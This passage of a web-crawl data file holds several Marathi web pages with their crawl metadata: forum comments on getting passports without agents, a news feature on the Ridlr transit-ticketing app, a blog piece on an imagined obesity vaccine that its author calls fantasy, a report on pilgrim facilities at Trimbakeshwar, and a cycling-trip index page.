नेहमी\nआशुचॅम्प, सत्य हे नेहमी सूर्यप्रकाशाईतकेच स्वच्छ असते. आपले कॅल्क्युलेटर आता माझे वय काय रिकॅलक्युलेट करते हे जाणून घ्यायला आवडेल. गेले काही वर्षे वाढदिवस साजरा न केल्याने चटकन लक्षात येत नाही\nमी पासपोर्ट ऑफिसला न जाता पासपोर्ट काढला आहे हे सत्य आहे. यावर कोणाचा विश्वास बसत नसेल तरी माझी काही हरकत नाही. पण जे घडलेय ते घडलेय. त्यात माझा दोष नाही. उगाच लोकांचे शंकानिरसन करता करता मी धागा हायजॅक केला अशी बोंबाबोंब होऊ नये म्हणून आता थांबतो.\nते नॉर्मल व्यक्तीबाबतच होऊ\nते नॉर्मल व्यक्तीबाबतच होऊ शकते वय काढणे. शक्यता आहे की बालवाडी पासूनच काम करत असाल. वेळ आणि कल्पनाशक्ती भरपूर असली की काय अशक्य आहे\nआम्ही आत्तापर्यंत पासपोर्ट ,\nआम्ही आत्तापर्यंत पासपोर्ट , व्हिसा, रेल्वे विमान आरक्षण , आरटीओ ची कामं हे सगळं एजन्टच्या मदती शिवाय सुरळीतपणे मिळवलं आहे . कधी कधी एजन्ट ना फार लिमिटेड माहिती असते , नेट वरून आपण जास्त सखोल अद्ययावत माहिती मिळवून काम पूर्ण करू शकतो अस मला वाटत. तसंच एजन्ट नको असताना ऐफिडेव्हीत वैगेरे करायला सांगतात ज्यात त्यांचं ही कमिशन असत असा माझा समज आहे.\nआत्ता युके व्हिसा काढताना मी एजन्ट कडे गेले होते, मुलाच बँक stetment लागेल म्हणून agent अडून बसला होता , मी म्हटलं गरज नाही तर ऐकायला तयार नाही . शेवटी माझा मीच फॉर्म भरला documents जोडली. मुलाचं bank statement जोडलं नाही , आणि विनासायास व्हिसा मिळवला.\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nगुलमोहर - विनोदी लेखन\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/7c77284c0b/public-transport-in-mumbai-vyavasthesathisuddha-tickets-online-39-trephalaina-resolved-the-problem-of-founding-a-transport", "date_download": "2018-09-25T17:58:16Z", "digest": "sha1:T2O32IJKDSLVH27CE3NPVXO5TGKITHXP", "length": 20063, "nlines": 97, "source_domain": "marathi.yourstory.com", "title": "मुंबईतल्या सार्वजनिक वाहतुक व्यवस्थेसाठीसुद्धा ऑनलाइन तिकीट ! 'ट्रॅफलाइन'च्या संस्थापकांनी सोडवली परिवहन व्यवस्थेची एक समस्या !", "raw_content": "\nमुंबईतल्या सार्वजनिक वाहतुक व्यवस्थेसाठीसुद्धा ऑनलाइन तिकीट 'ट्रॅफलाइन'च्या संस्थापकांनी सोडवली परिवहन व्यवस्थेची एक समस्या \nदिल्लीतील वाहतुक समस्येवरील उतारा म्हणजे सम-विषम नियम. आता दिल्लीपाठोपाठ हा नियम मुंबईत सुद्धा लागू करणार अशी चर्चा सुरु आहे. मात्र तत्पूर्वी पुढच्यास ठेच मागचा शहाणा, या उक्तीप्रमाणे दिल्लीमध्ये या नियमानंतर नेमक्या कोणकोणत्या समस्यांना तोंड द्यावं लागलं याचा शहानिशा होणं गरजेचं आहे. ही वाहतुक व्यवस्था वापरात आणण्याकरिता दिल्लीकरांचा नकारच होता, कारण सार्वजनिक वाहतुक व्यवस्थेलाही हा अधिभार सहन करता येण्याजोगा नव्हता. ऑटो आणि बसेसची कमतरता, गर्दी, तिकिटांसाठी लांबच लांब रांगा, त्यातच मेट्रोच्या स्वत:च्या वेगळ्या समस्या असं काहीसं चित्र या नियमानंतर दिल्लीत निर्माण झालं. त्यामुळेच हा नियम लागू झाल्यावर मुंबईत निदान तिकिटांसाठी लांब रांगांची समस्या उद्भवू नये आणि या लोकांच्या हिताच्या नियमाचा अडथळा लोकांना वाटू नये यावर 'रीडलर' या स्टार्टअप कंपनीचं काम सुरु आहे.\nट्रॅफलाइन (युवरस्टोरीने यापूर्वी या अॅपची माहिती दिली आहे.) या वाहतुकीसाठी प्रसिद्ध असलेल्या स्टार्ट-अपच नवं अपत्य आहे रिडलर ट्रॅफलाइनला तब्बल २ दशलक्ष लोकांनी डाउनलोड केलं, ज्यामुळे त्यांना रस्त्यावरील वाहतुकीची इत्यंभूत आणि अचूक माहिती मिळते. 'बर्डस आय सिस्टम' या ट्रॅफाईनच्या पालक कंपनीतर्फे गोळा केलेल्या माहितीच्या आधारावर रिडलरची संकल्पना रुजली.\n\" ट्रॅफलाइनच्या माध्यमातून आम्ही जेव्हा सार्वजनिक दळणवळण माहिती प्रवाश्यांना पुरवत होतो त्याचवेळी प्रवाशांना रोजच्या प्रवासात सहन कराव्या लागणाऱ्या अडचणींबाबात आमची सतत चर्चा होत असे. त्याचवेळी आमच्या डोक्यात ही कल्पना आली की विनारोकड प्रवास करणं हे प्रवाश्यांसाठी अत्यंत सुलभ ठरू शकतं. ज्यामुळे त्यांना दररोज सामना कराव्या लागणाऱ्या लांबच लांब रांगा, पाकीटमारी किंवा तिकीटांसाठीच्या किचकट प्रक्रिया यांना कायमचा अलविदा करून अस्तित्वात असणाऱ्या संपूर्ण वाहतूक व्यवस्थेचा कायापालट करता येईल,\" रवि खेमानी, ट्रॅफलाइन आणि रिडलरचे संस्थापक आणि सीईओ सांगत होते.\nपरदेशात मात्र अशा सेवा शासकीय वाहतूक संस्थाच सुरु करतात आणि त्या त्यांच्याच मालकीच्या असतात. मात्र सार्वजनिक- खाजगी भागीदारी म्हणजे लोकसहभागातून मुलभूत विकास साधणे, हे पूर्वीपासून आजमावलेलं आणि यशस्वी ठरलेलं असं भारतीय अर्थशास्त्रातील सूत्र आहे. रिलायन्स मुंबई मेट्रो हे त्याचं ताजं उदाहरण आणि याचप्रमाणे रिड्लर सारखे पाहिलं पाउल हे सरकारच्या 'डिजिटल इंडिया' या महत्त्वाकांक्षी दृष्टीकोनाला बळ देणारं ठरणार आहे. या अॅप्लिकेशनवर तिकीट बुकिंग करणं हे अतिशय सोपं आहे, अंतर निवडायचं आणि पे यू मोबाईल वाॅलेट द्वारा पैसे जमा करायचे. हे टिकीट त्यानंतर वाहकाला आपण दाखवू शकतो.\nया स्टार्टअपनं तीन आवृत्ती सुरु केल्या. ज्यातील पहिली म्हणजे सार्वजनिक परिवहन व्यवस्थेविषयी माहिती देणं, दुसरी आहे ती म्हणजे परिवहन व्यवस्था आणि वाहतुकीविषयी अचूक माहिती देणं, आणि नवी आवृत्ती आहे ती म्हणजे ऑनलाइन तिकीट. रिडलर सध्या अॅण्ड्राॅइडवर उपलब्ध आहे आणि आयओएसवर लवकरच याची सुरुवात होईल.\nसप्टेंबर २०१५ मध्ये सुरुवातीलाच या स्टार्टअपनं जेव्हा मुंबई मेट्रोसाठी आपली सुविधा दिली आणि अॅण्ड्राॅइड अॅपद्वारे रिचार्ज म्हणजे पुन्हा पैसे भरण्याची सोय उपलब्ध करवून दिली तेव्हा त्यांना खूप चांगला प्रतिसाद मिळाला. \"मुंबई मेट्रो मध्ये ही सुविधा पुरवण्याचा सर्वात मोठा फायदा म्हणजे येथील प्रवासी हे अन्य वाहतूकीचा वापर करणाऱ्या प्रवाश्यांपेक्षा तांत्रिकदृष्ट्या अधिक साक्षर आणि अनुकुलता पाहणारे असतात.\" रवि म्हणतात.\nया स्टार्टअपचं लक्ष्य आहे ते म्हणजे दररोज प्रवास करणारे आणि स्मार्टफोन वापरणारे प्रवासी.\" आमचा ‘युजकेस’ हा प्रवाशांना विविध वाहतुकीच्या साधनांमधून प्रवास करताना विना रोकड प्रवास करण्याची सोय करून देतो. सध्या आम्ही आमच्या या उत्पादनाची वाहतुकीच्या विविध साधनांमध्ये जाहिरात करत आहोत त्याचप्रमाणे बीटीएल एक्टिवेशन म्हणजे बिलो द लाइन एक्टिवेशन (ज्याचा अर्थ थेट ग्राहकांपर्यंत पोचण्यासाठी वापरण्यात आलेली वितरण पद्धती )\" रवि सांगत होते.\nकंपनीसमोर सर्वात मोठं आव्हान होतंंं ते म्हणजे विविध वाहतुक संस्थांमधील नोकरशहांशी जुळवून घेणं.\" आमचा बराचसा वेळ आणि साधनसामुग्री त्यांना या डिजिटल फायद्याविषयी समजावून सांगण्यात खर्च झाली.\" रवि सांगतात. गेल्या वर्षी डिसेंबर मध्ये रिडलरनं नवी मुंबई महापालिकेच्या वाहतूक सेवेतील बसेस साठी ई-तिकिटिंग सेवा सुरु केली.\nभागीदारीविषयी बोलताना नवी मुंबईचे वाहतुक व्यवस्थापक शिरीष अराडवड म्हणतात,\" आमच्या प्रवाश्यांना प्रवास करताना अनेक समस्यांना तोंड द्यावं लागतं. तुडुंब गर्दीने भरलेल्या बसमध्ये प्रवाश्यांचं नियोजन करणं वाहकालासुद्धा अत्यंत कठीण जातं. प्रवाश्यांकडे अनेकदा सुट्टे पैसे नसतात. त्यामुळे रिड्लरचा हा तोडगा महापालिकेनं प्रवाश्यांना सर्वोत्तम सुविधा देण्याच्या वचनाला सहाय्यक ठरत आहे.\" आता रिडलरनं बेस्ट बसच्या पाससाठी रिचार्जसुद्धा सुरु केलं आहे. मुंबईतील बेस्ट बस सेवा ही अशी परिवहन संस्था आहे जी अहोरात्र गर्दीने फुललेली असते.\nऑनलाइन तिकिटिंगचा परीघ अद्याप विस्तारला नसला तरी रिडलरला भारतातल्या सर्व सार्वजनिक परिवहन व्यवस्थेपर्यंत स्वत:चं अस्तित्व पोहोचवायचं आहे आणि यासाठी त्यांनी स्थानिक रेल्वे ,मेट्रो आणि बस विभागांशी करार केले आहेत. ज्यामुळे त्यांना संपूर्ण यादी, वेळापत्रक, बातम्या, उशीर होण्याचं कारण आणि सुमारे २० शहरांच्या उद्घोषणा यांची माहिती मिळते. यामध्ये मुंबई, बेंगळूरू, दिल्ली, कोलकाता, चेन्नई, हैद्राबाद, चंदिगढ, जयपूर, पुणे, बेल्लारी, अहमदाबाद, भोपाळ, भुवनेश्वर, भावनगर, इंदोर, विजयवाडा, लुधियाना, वडोदरा आणि नागपूर अश्या शहरांचा समावेश आहे.\nरिडलरला मुंबईतल्या दररोज प्रवास करणाऱ्या ११.५ दशलक्ष प्रवाश्यांपर्यंत हे माहितीपूर्ण आणि गरजेच अॅप पोहोचवायचं आहे. आजवर सुमारे १.५ दशलक्ष प्रवाश्यांनी ट्रॅफलाइन अॅप डाउनलोड केलं आहे तर १ दशलक्ष प्रवाश्यांनी रिड्लर अॅप डाऊनलोड केल आहे. त्यांच्या ग्राहकांमध्ये पुन्हा पुन्हा हे अॅप वापरणारे ग्राहक तर आहेतच, पण दर महिन्याला २०० टक्क्यांनी वाढ होत असल्याचा दावा कंपनीने केला आहे.\nया स्टार्टअपला मेट्रिक्स पार्ट्नर्स आणि क्वोलकोम वेन्चर्स कडून नोव्हेंबर २०१५ मध्ये निधी मिळाला आणि सिड फंडिंगच्या माध्यमातून (सीआयआयइ आणि इंडियन अंजेल नेटवर्क यांच्याकडून) (सिड फंडिंग म्हणजे सुरूवातीचं भांडवल जे स्वत:च्या किंवा मित्र, नातेवाईक यांच्या पैशातून उभारण्यात येतं) सुद्धा त्यांना निधी मिळाला होता. व्यवसाय वृद्धीच्या दृष्टीने त्यांच्या योजनांमध्ये बेस्ट आणि अन्य वाहतूक मंडळामध्ये प्रवेश मिळवणं. \" वाहतुकीच्या सर्व गरजांसाठी आम्हाला एकछत्री अॅप बनवायचं आहे.\" रिड्लरचे सीइओं ब्रिजाज वाघानी सांगत होते.\nएकीकडे मुंबईमध्ये सम-विषम सूत्र राबवण्याचा विचार महाराष्ट्र सरकार करत असतानाच विना रोकड प्रवास आणि डिजीटायझेशन हे या नियमांसाठी मोठा आधार ठरणार आहेत. सरकारनं स्थानिक रेल्वे तिकिटांसाठी (युटीएस) सारखे अॅप निर्माण केले आहेत पण बस सेवेचा यात समावेश नाही. ही कमतरता आता यशस्वीपणे भरून निघेल.\nयासारख्या आणखी काही नाविन्यपूर्ण कहाण्या वाचण्यासाठी आमच्या YourStory MarathiFacebook पेजला भेट द्या. लाईक करा\nआता वाचा संबंधित कहाण्या :\nअसा एक स्टार्टअप जो 'कारपूलिंग' मार्फत रस्त्यावर गाड्यांची संख्या कमी करण्यासाठी तत्पर आहे\nदिल्लीमधील सम विषम योजना ही पर्यावरणासाठी ठरू शकते एक वरदान\n'एम-इंडिकेटर'द्वारे मुंबईकरांच्या घरोघरी पोहोचलेले सचिन टेके\nलेखिका - बिन्जल शाह\nअनुवाद : प्रेरणा भराडे\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00405.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://wisdomclinic.wordpress.com/2016/01/26/%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A5%82%E0%A4%B2%E0%A4%A4%E0%A4%BE-%E0%A4%9F%E0%A4%BE%E0%A4%B3%E0%A4%A3%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B8%E0%A4%BE%E0%A4%A0%E0%A5%80-%E0%A4%B2%E0%A4%B8/", "date_download": "2018-09-25T16:33:29Z", "digest": "sha1:SDLAXKDPGQ3MDZAL7YPDYHPG26U2RKDR", "length": 10947, "nlines": 68, "source_domain": "wisdomclinic.wordpress.com", "title": "स्थूलता टाळण्यासाठी लस – wisdomclinic", "raw_content": "\nकॅनडामध्ये शास्त्रज्ञांनी स्थूलतेवर लस शोधून काढली आहे. इत्तर लसीच्या बरोबर पहिल्यांदा ही लस टोचायाची आणि वयाच्या तिसऱ्यावर्षी पुन्हा एकदा बूस्टर डोस द्यायचा. ही लस टोचली की सुरवातीला थोडासा ताप येतो. वयाच्या सहाव्या वर्षापासून ही लस माणसाला स्थूलतेपासून संरक्षण देते.\nही लस टोचून घेतल्यानंतर शरीरातील चरबीचे प्रमाण २२ टक्क्याच्या वर जाऊ लागताच हलकासा ताप जाणवतो. फ्लू झाल्याप्रमाणे अंग दुखू लागते. तापामुळे भूक कमी होते. ही अंगदुखी पण कशी की शरीराची हालचाल चालू असताना आणि माणूस चालता राहिला तर अंगदुखी कमी होते. चरबीचे शरीरातील प्रमाण कमी होताच पुन्हा बरे वाटू लागते. चरबीचे शरीरातील प्रमाण जितके जास्त वाढेल तितका ताप आणि अंगदुखी जास्त. दर पाच वर्षांनी या लसीचे बूस्टर डोस द्यायला लागतात.समजा बूस्टर डोस द्यायचा राहिलाच आणि पुढील काळात शरीरातील चरबीचे प्रमाण वाढले तर या लसीचा एक विचित्र परिणाम दिसू लागतो. हातापायांवर आणि पोटावर चरबीच्या पेशी फुटतात आणि छोटे-छोटे अल्सर तयार होतात. त्यामुळे माणूस ताबडतोब उपचार करून घेतो,बूस्टर डोस टोचून घेतो.\nया लसीचे आणखी वैशिष्ट्य म्हणजे ही लस कोणत्याही वयात टोचून घेता येते. सुरवात अगदी मायक्रो डोसने करायची आणि हळूहळू डोस वाढवत जायचा. हा पूर्ण डोस सहा महिन्यात मिळून घेता येतो. या सहा महिन्यात सतत ताप,अंगदुखी,सांधेदुखी होत राहते.पण भूक कमी होते. अरबट चरबट खाणे किंवा अति खाणे शक्यच होत नाही. माणूस सतत हलता,फिरता राहतो आणि सहा महिन्यात सडपातळ होतो.\nही लस घ्यायला लागल्यापासून सहा महिन्यात चरबीचे प्रमाण घटल्यामुळे मधुमेह,रक्तदाब इ.कमी होत जातात व बरेचदा या रोगांवरील औषधे बंद करावी लागतात. हृदयरोग,सांधे बदलण्याच्या शस्त्रक्रिया,बायपास इ.चे प्रमाण कमी होत जाते.\nही लस शोधण्याच्या टीमचे प्रमुख एक भारतीय आहेत. म्हणजे अर्धे भारतीय अर्धे अफ्रिकन आहेत. डॉ.सुश्रुत मुगाबे असे त्यांचे नाव. ते कॅनडात टोरोन्टो इथे राहतात.\nए.बी.एन वाहिनीवर मुलाखत झाली. या मुलाखती मधे डॉ.मुगाबे म्हणाले “स्थूलता मूळ धरत असताना,वाढत असताना कसलाही त्रास होत नाही. म्हणजे डास जरी चावला तरी आग होते,कंड सुटते,अंगावर गांध उठते आणि माणूस लगेच अस्वस्थ होतो. मलेरिया,डेंगू हे नंतरचे भाग झाले. तसे स्थुलतेमुळे काहीच होत नाही. Pain(दु:ख) हे उपचार करून घेण्यामागचे सर्वात मोठे मोटीव्हेशन असते. पाच दहा वर्षाने होणाऱ्या मोठ्या दुष्परिणामांपेक्षा (उदा. मधुमेह,रक्तदाब इ.इ ) तातडीने होणारे दु:ख हे माणसाला काळजी घ्यायला जास्त उद्युक्त करते. म्हणूनच आम्ही ठरवूनच अशी लस तयार केली की ज्यामुळे सर्वजण लगेच उपचार करून घेतील.”\nडॉ.सुश्रुत मुगाबे पुढे असेही म्हणाले की या लसीची क्लीनिकल ट्रायल अत्यंत यशस्वीपणे पूर्ण झाली. या लसीचे काहीही दुष्परिणाम नाहीत. पण आम्हाला औषध कंपन्यांकडून प्रचंड विरोध सहन करावा लागतो आहे. इतकेच नव्हे तर हॉटेलइंडस्ट्री, जंकफूड चेन्स यांच्याकडूनही प्रचंड दबाव येतो आहे की ही लस तुम्ही बाजारात आणूच नये. दुर्देवाची गोष्ट म्हणजे अनेक मेडीकल असोसिएशन्सचा सुद्धा ह्याला विरोध आहे. कारण अनेक रोगांचे मूळ असलेली स्थूलता जर नाहीशी झाली तर हजारो लाखो लोकांचे करोडो अब्जावधी डॉलर्सचे नुकसान होईल.\nडॉ.सुश्रुत बोलत होते. मुलाखतकर्ती मुलगी म्हणाली “पण सर ही माहिती अशी टी.व्ही. वरून,वर्तमानपत्र,मासिकांमधून लोकांपर्यंत पोहोचली तर जनरेटयापुढे या सर्व विरोधकांना माघार घ्यावीच लागेल ना \nडॉ. मुगाबे उदास स्वरात म्हणाले “तोच तर मोठा प्रश्न आहे. आम्ही जेव्हा सर्वे घेतला तेव्हा लक्षात आले की अनेक सर्वसामान्यांना अशी भीती आहे की ही लस टोचून घेतली की मग खाणेपिणे आपोआप कमी होत जाणार. या खाण्यापिण्याची मजाच निघून जाणार. त्यापेक्षा ‘खावे – प्यावे आणि जे होईल ते पहावे’ हे बरे या अशा मनोभूमिकेमुळे आमच्या प्रोजेक्टला फंडींग नाही.\nमी ही सगळी माहिती ऐकली. आम्हा ‘मधुमेह आणि स्थूलता’ उपचार करणाऱ्या डॉक्टरांना खरे तर ही लस वरदान ठरली असती. पण आज तिचा ठावठिकाणा नाही. डॉ. सुश्रुत मुगाबेंचेही नाव कुठे ऐकू येत नाही.शेवटी कळायला लागतं की हा केवळ एक कल्पनाविलास असावा.\nसर्व लेख पहा wisdomclinic\nप्रतिक्रिया व्यक्त करा उत्तर रद्द करा.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00405.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/nashik-news-trambakeshwar-darshan-problem-55553", "date_download": "2018-09-25T17:30:37Z", "digest": "sha1:A5TIKBUPXL63HIGEPF4TTRJKQTDWMBEV", "length": 13832, "nlines": 185, "source_domain": "www.esakal.com", "title": "nashik news trambakeshwar darshan problem त्र्यंबकराजाचे दर्शन अमरनाथ यात्रेहून बिकट! | eSakal", "raw_content": "\nत्र्यंबकराजाचे दर्शन अमरनाथ यात्रेहून बिकट\nमंगळवार, 27 जून 2017\nबेजबाबदार प्रशासन, देवस्थानामुळे भरडताहेत भाविक\nबेजबाबदार प्रशासन, देवस्थानामुळे भरडताहेत भाविक\nत्र्यंबकेश्‍वर - देशभरातील प्रसिद्ध धार्मिक स्थळ, १२ ज्योतिर्लिंगांपैकी एक असणाऱ्या त्र्यंबकराजाच्या दर्शनासाठी येणाऱ्या भाविकांना त्र्यंबकेश्‍वर पालिका व देवस्थानच्या बेजबाबदार नियोजनाचा फटका बसत आहे. घाणीचे साम्राज्य तुडवून दर्शनासाठी येणाऱ्या भाविकांना आता पावसाळ्यात सचैल भिजत देवदर्शनाच्या रांगेत उभे राहावे लागणार, असे दिसते. त्याची रंगीत तालीम मागील तीन दिवसांत दिसली. शनिवार ते सोमवारच्या सलग सुट्यांच्या पार्श्‍वभूमीवर दर्शनाला आलेल्या भाविकांना घाणीच्या ढिगाऱ्यापासून सुविधा, पार्किंग अशा सर्वच गोष्टींचा सामना करावा लागला. या झालेल्या परवडीबद्दल अनेक भाविकांनी रोष व्यक्त केला.\nशनिवार ते सोमवार अशा सलग सुट्यांमुळे ज्योतिर्लिंगाच्या दर्शनासाठी शनिवार पहाटेपासूनच भाविकांची त्र्यंबकेश्‍वरला वर्दळ सुरू झाली. उत्तर दरवाजा ते तालुका रुग्णालयादरम्यान भाविकांच्या रांगेला तीव्र पावसाचा सामना करावा लागला. एरवीदेखील पूर्व दरवाजातून वाहणाऱ्या प्रसाधनगृहाच्या पाण्याचे अडथळे पार करीत देवदर्शन करावे लागते. मात्र, या तीन दिवसांत भाविकांना त्र्यंबकेश्‍वराच्या दर्शनासाठी अमरनाथ यात्रेपेक्षा बिकट दिव्यातून जावे लागल्याच्या खोचक प्रतिक्रिया भाविकांनी व्यक्त केल्या. सर्वत्र पसरलेल्या घाणीच्या साम्राज्याने स्त्रिया, बालके व ज्येष्ठ नागरिक यांना मोठ्या परवडीला सामोरे जावे लागले.\nपरराज्यांतून आलेल्या भाविकांनी या सर्व अनागोंदीवर तीव्र प्रतिक्रिया व्यक्त केल्या. त्यातील काही अशा ः\nदोनशे रुपये देऊन दर्शन घेणारे भाविकही दीड तास रांगेत\nझटपट दर्शन देण्याचा बेकायदा व्यवसाय करणाऱ्या टोळ्यांचा सुळसुळाट.\nत्र्यंबकेश्‍वरमध्ये प्रवेश करताच विविध लुबाडणुकीस सुरवात.\nमुसळधार पावसातही मंडप व तंबू फाटलेले.\nसार्वजनिक स्वच्छतागृह अस्वच्छ. भाविकांच्या आरोग्याचा प्रश्‍न बनू शकतो तीव्र.\nविश्‍वस्तांतील बेबनावामुळे अनागोंदीची चर्चा\nस्वच्छतेसह संबंधित कामांसाठी ठेकेदारांची नियुक्ती असूनही सुविधांकडे कुणाचेही लक्ष नसल्याने अशी परिस्थिती उद्‌भवली आहे. देवस्थानाच्या विश्‍वस्तांमधील वाढता बेबनाव यामागे असल्याची चर्चा त्र्यंबकेश्‍वरमध्ये रंगताना दिसत आहे.\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nAsia Cup : धोनी भारताचा पुन्हा 'कर्णधार'\nदुबई : आशिया करंडक स्पर्धेत अफगाणिस्तानविरुद्धच्या सामन्यात भारताचा माजी कर्णधार महेंद्रसिंह धोनीला पुन्हा कर्णधारपदाची जबाबदारी देण्यात आली आहे....\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00406.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/19552", "date_download": "2018-09-25T17:15:52Z", "digest": "sha1:KCSOZXGMS3CQYWRLVOAM2EMVYSLUSJS5", "length": 10592, "nlines": 201, "source_domain": "www.maayboli.com", "title": "सोलो सायकलिंग : शब्दखूण | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /सोलो सायकलिंग\nएटलस सायकलीवर योग- यात्रा भाग १३: समारोप\nएटलस सायकलीवर योग- यात्रा भाग १: प्रस्तावना\nएटलस सायकलीवर योग- यात्रा भाग २: परभणी- जिंतूर- नेमगिरी\nएटलस सायकलीवर योग- यात्रा भाग ३: जिंतूर- परतूर\nएटलस सायकलीवर योग- यात्रा भाग ४: परतूर- अंबड\nRead more about एटलस सायकलीवर योग- यात्रा भाग १३: समारोप\nएटलस सायकलीवर योग- यात्रा भाग १२: मानवत- परभणी\nRead more about एटलस सायकलीवर योग- यात्रा भाग १२: मानवत- परभणी\nएटलस सायकलीवर योग- यात्रा भाग ११: मंठा- मानवत\nRead more about एटलस सायकलीवर योग- यात्रा भाग ११: मंठा- मानवत\nएटलस सायकलीवर योग- यात्रा भाग १०: मेहकर- मंठा\nRead more about एटलस सायकलीवर योग- यात्रा भाग १०: मेहकर- मंठा\nएटलस सायकलीवर योग- यात्रा भाग ९: सिंदखेड राजा- मेहकर\n९: सिंदखेड राजा- मेहकर\nएटलस सायकलीवर योग- यात्रा भाग १: प्रस्तावना\nएटलस सायकलीवर योग- यात्रा भाग २: परभणी- जिंतूर- नेमगिरी\nएटलस सायकलीवर योग- यात्रा भाग ३: जिंतूर- परतूर\nएटलस सायकलीवर योग- यात्रा भाग ४: परतूर- अंबड\nRead more about एटलस सायकलीवर योग- यात्रा भाग ९: सिंदखेड राजा- मेहकर\nएटलस सायकलीवर योग- यात्रा भाग ८: जालना- सिंदखेडराजा\nएटलस सायकलीवर योग- यात्रा भाग १: प्रस्तावना\nएटलस सायकलीवर योग- यात्रा भाग २: परभणी- जिंतूर- नेमगिरी\nएटलस सायकलीवर योग- यात्रा भाग ३: जिंतूर- परतूर\nएटलस सायकलीवर योग- यात्रा भाग ४: परतूर- अंबड\nRead more about एटलस सायकलीवर योग- यात्रा भाग ८: जालना- सिंदखेडराजा\nएटलस सायकलीवर योग- यात्रा भाग ७: औरंगाबाद- जालना\nRead more about एटलस सायकलीवर योग- यात्रा भाग ७: औरंगाबाद- जालना\nएटलस सायकलीवर योग- यात्रा भाग ६: देवगिरी किल्ला आणि औरंगाबादमध्ये योग चर्चा\n६: देवगिरी किल्ला आणि औरंगाबादमध्ये योग चर्चा\nRead more about एटलस सायकलीवर योग- यात्रा भाग ६: देवगिरी किल्ला आणि औरंगाबादमध्ये योग चर्चा\nएटलस सायकलीवर योग- यात्रा: भाग ५: अंबड - औरंगाबाद\nएटलस सायकलीवर योग- यात्रा भाग १: प्रस्तावना\nएटलस सायकलीवर योग- यात्रा भाग २: परभणी- जिंतूर- नेमगिरी\nएटलस सायकलीवर योग- यात्रा भाग ३: जिंतूर- परतूर\nएटलस सायकलीवर योग- यात्रा भाग ४: परतूर- अंबड\nRead more about एटलस सायकलीवर योग- यात्रा: भाग ५: अंबड - औरंगाबाद\nयोग ध्यानासाठी सायकलिंग ९ (अंतिम): अजिंक्यतारा किल्ला व परत\nध्यानासाठी सायकलिंग १: अपयशातून शिकताना\nयोग ध्यानासाठी सायकलिंग २: पहिला दिवस- चाकण ते धायरी (पुणे)\nयोग ध्यानासाठी सायकलिंग ३: दूसरा दिवस- धायरी (पुणे) ते भोर\nयोग ध्यानासाठी सायकलिंग ४: तिसरा दिवस- भोर- मांढरदेवी- वाई\nRead more about योग ध्यानासाठी सायकलिंग ९ (अंतिम): अजिंक्यतारा किल्ला व परत\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. 